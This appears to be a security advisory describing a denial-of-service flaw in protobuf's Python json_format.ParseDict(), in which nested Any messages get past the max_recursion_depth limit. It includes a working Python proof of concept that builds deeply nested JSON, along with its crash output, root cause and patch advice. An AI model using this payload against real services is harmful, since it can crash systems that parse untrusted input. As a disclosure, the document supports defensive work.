1. Summary
A denial-of-service (DoS) vulnerability exists in google.protobuf.json_format.ParseDict() in Python, where the max_recursion_depth limit can be bypassed when parsing nested google.protobuf.Any messages.
Due to missing recursion depth accounting inside the internal Any-handling logic, an attacker can supply deeply nested Any structures that bypass the intended recursion limit, eventually exhausting Python’s recursion stack and causing a RecursionError.
2. Description
json_format.ParseDict() enforces a recursion depth limit via the max_recursion_depth parameter.
This limit is implemented by incrementing and checking a recursion depth counter inside ConvertMessage().
However, when parsing google.protobuf.Any, the internal helper _ConvertAnyMessage() processes the embedded message without incrementing or decrementing the recursion depth counter. As a result, nesting Any messages inside other Any messages allows unbounded recursion while bypassing the configured depth limit.
If sufficient nesting is provided, Python’s own recursion limit is exceeded, resulting in a RecursionError instead of the expected ParseError.
2.1 Expected Behavior
- json_format.ParseDict() is called
- ConvertMessage() increments recursion_depth
- If recursion_depth > max_recursion_depth, a ParseError is raised
- Parsing terminates safely
2.2 Actual Behavior / Root Cause
- _ConvertAnyMessage() parses the embedded message without updating recursion_depth
- Nested Any messages therefore do not contribute to the depth counter
- Repeated Any nesting bypasses max_recursion_depth
- Parsing continues until Python’s recursion limit is exceeded
3. Proof of Concept (PoC)
Reproduction Code
#!/usr/bin/env python3
from google.protobufimport json_format
from google.protobuf.any_pb2importAny
defmake_nested_any(depth: int):
# Build JSON for an Any message that recursively contains another Any
root = {"@type":"type.googleapis.com/google.protobuf.Any","value": {}}
cur = root
for _inrange(depth -1):
nxt = {"@type":"type.googleapis.com/google.protobuf.Any","value": {}}
cur["value"] = nxt
cur = nxt
return root
defmain():
depth =150000
max_depth =5
msg =Any()
data = make_nested_any(depth)
json_format.ParseDict(data, msg, max_recursion_depth=max_depth)
print(
f"Parsed Any depth={depth} with max_recursion_depth={max_depth} (bypass)."
)
if __name__ =="__main__":
main()
Execution
python3 poc/python_any_depth_poc.py
Result
Traceback (most recentcalllast):
...
RecursionError: maximum recursion depth exceeded
Despite max_recursion_depth=5, parsing does not raise a ParseError.
Instead, deep nesting of Any messages bypasses the recursion limit and causes Python’s recursion stack to overflow.
4. Impact
- Services that parse untrusted JSON input containing Any may be vulnerable to denial of service
- Attackers can bypass the intended recursion limit using nested Any messages
- Deep nesting leads to RecursionError, causing request failure
- If the exception is not properly handled, this may crash the process or disrupt service availability
5. Patch Recommendation
One of the following mitigations is recommended:
- Increment and decrement recursion_depth when entering and exiting _ConvertAnyMessage()
- Alternatively, route parsing of embedded Any messages through the standard ConvertMessage() path
- Ensure that max_recursion_depth is consistently enforced for all message types, including nested Any
'0-day' 카테고리의 다른 글
| CVE-2026-21725 (grafana / cvss 2.6) (0) | 2026.03.02 |
|---|---|
| CVE-2026-27966 (langflow / cvss 9.8) (0) | 2026.02.28 |
| CVE-2026-28227(discourse / cvss 5.1) (0) | 2026.02.28 |
| CVE-2026-22922(airflow / cvss 6.5) (1) | 2026.02.25 |
| CVE-2026-21721(grafana / cvss 8.1) (1) | 2026.01.31 |